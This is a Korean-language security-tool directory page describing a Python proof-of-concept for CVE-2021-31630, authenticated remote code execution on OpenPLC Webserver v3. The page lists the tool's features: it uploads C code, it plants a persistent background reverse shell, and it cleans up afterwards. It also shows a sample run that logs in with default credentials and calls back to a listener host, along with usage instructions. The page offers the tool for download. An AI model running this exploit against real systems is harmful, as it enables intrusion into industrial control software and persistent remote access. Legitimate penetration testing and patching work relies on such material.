Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2021-31630 — Open PLC Webserver v3에서 명령 주입을 악용하기 위한 Python 스크립트 | Kitploit
도구/GitHubGitHub/thewhiteh4t/cve-2021-31630
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlRemote Access ToolPayload Development
GitHubthewhiteh4t/cve-2021-31630

cve-2021-31630

Open PLC Webserver v3에서 명령 주입을 악용하기 위한 Python 스크립트

저장소 보기
21432년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cve-2021-31630

OpenPLC WebServer v3 - 인증된 RCE

이 PoC 스크립트는 Fellipe Oliveira가 제공한 익스플로잇을 기반으로 합니다.

기능 :

  • st 파일 업로드 대신 /hardware에 C 코드를 직접 업로드합니다
  • 리버스 셸 업로드 전에 기본 프로그램을 복원합니다
  • 웹 서버가 멈추지 않도록 비차단(non-blocking) 방식으로 개선된 C 기반 리버스 셸 ;)
  • 셸을 백그라운드에서 실행하며, PLC가 중지된 후에도 종료할 때까지 작동합니다
  • 정리(cleanup)
root@kitploit:~
$ python cve_2021_31630.py -lh 10.10.16.68 -lp 4444 http://10.10.11.7:8080

------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------

[>] Found By : Fellipe Oliveira
[>] PoC By   : thewhiteh4t [ https://twitter.com/thewhiteh4t ]

[>] Target   : http://10.10.11.7:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout  : 20 secs
[>] LHOST    : 10.10.16.68
[>] LPORT    : 4444

[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
[+] PLC Started! Check listener...
[!] Cleaning up...
[+] PLC Stopped!
[+] Cleanup successful!

의존성

root@kitploit:~
pip3 install requests

사용법

root@kitploit:~
usage: cve_2021_31630.py [-h] [-u U] [-p P] [-t T] -lh LH -lp LP url

positional arguments:
  url         Target URL with http(s)://

options:
  -h, --help  show this help message and exit
  -u U        Username
  -p P        Password
  -t T        Request Timeout, increase if server is slow
  -lh LH      LHOST
  -lp LP      LPORT
도구 다운로드